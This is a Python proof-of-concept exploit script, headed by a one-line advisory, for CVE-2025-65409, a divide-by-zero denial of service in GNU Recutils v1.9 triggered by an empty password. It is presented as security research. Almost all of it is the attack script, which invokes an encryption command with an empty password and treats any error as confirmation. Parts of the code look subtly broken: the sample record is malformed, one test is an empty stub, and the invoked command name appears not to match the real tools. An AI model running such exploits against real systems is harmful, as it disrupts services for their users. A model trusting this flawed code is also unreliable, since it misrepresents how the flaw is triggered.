A divide-by-zero in the encryption/decryption routines of GNU Recutils v1.9 allows attackers to cause a Denial of Service (DoS) via inputting an empty value as a password.
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3
"""
CVE-2025-65409 PoC - GNU Recutils Divide-by-Zero DoS
This PoC demonstrates the divide-by-zero vulnerability in GNU Recutils v1.9
when an empty password is used for encryption/decryption operations.
"""
import subprocess
import tempfile
import os
import sys
def create_test_rec_file():
"""Create a test .rec file for encryption testing"""
rec_content = "%rec: TestRecord\n%key: id\n%key: data\n\n1 | Sample data for testing\n"
return rec_content
def test_empty_password_encryption():
"""
Test the divide-by-zero vulnerability with empty password.
The vulnerability occurs when recrypt function receives an empty string
as the password parameter.
"""
with tempfile.NamedTemporaryFile(mode='w', suffix='.rec', delete=False) as f:
f.write(create_test_rec_file())
rec_file = f.name
encrypted_file = rec_file + '.enc'
try:
# Attempt to encrypt with empty password - triggers the vulnerability
# This simulates: recencrypt -p "" input.rec output.rec
print(f"[*] Testing CVE-2025-65409 with empty password...")
print(f"[*] Input file: {rec_file}")
result = subprocess.run(
['recencrypt', '-p', '', rec_file, encrypted_file],
capture_output=True,
text=True,
timeout=10
)
print(f"[*] Return code: {result.returncode}")
print(f"[*] Stdout: {result.stdout}")
print(f"[*] Stderr: {result.stderr}")
if result.returncode != 0 or 'error' in result.stderr.lower():
print("[+] Vulnerability confirmed: Empty password causes error/crash")
return True
except subprocess.TimeoutExpired:
print("[+] Vulnerability confirmed: Process timeout (possible hang/crash)")
return True
except FileNotFoundError:
print("[-] recencrypt command not found - GNU Recutils may not be installed")
return False
except Exception as e:
print(f"[-] Unexpected error: {e}")
return False
finally:
# Cleanup
if os.path.exists(rec_file):
os.unlink(rec_file)
if os.path.exists(encrypted_file):
os.unlink(encrypted_file)
def test_with_rec2csv():
"""
Alternative testing method using rec2csv with encrypted file
"""
print("\n[*] Testing with rec2csv decryption...")
# Similar approach for decryption testing
pass
if __name__ == '__main__':
print("=" * 60)
print("CVE-2025-65409 GNU Recutils Divide-by-Zero PoC")
print("=" * 60)
test_empty_password_encryption()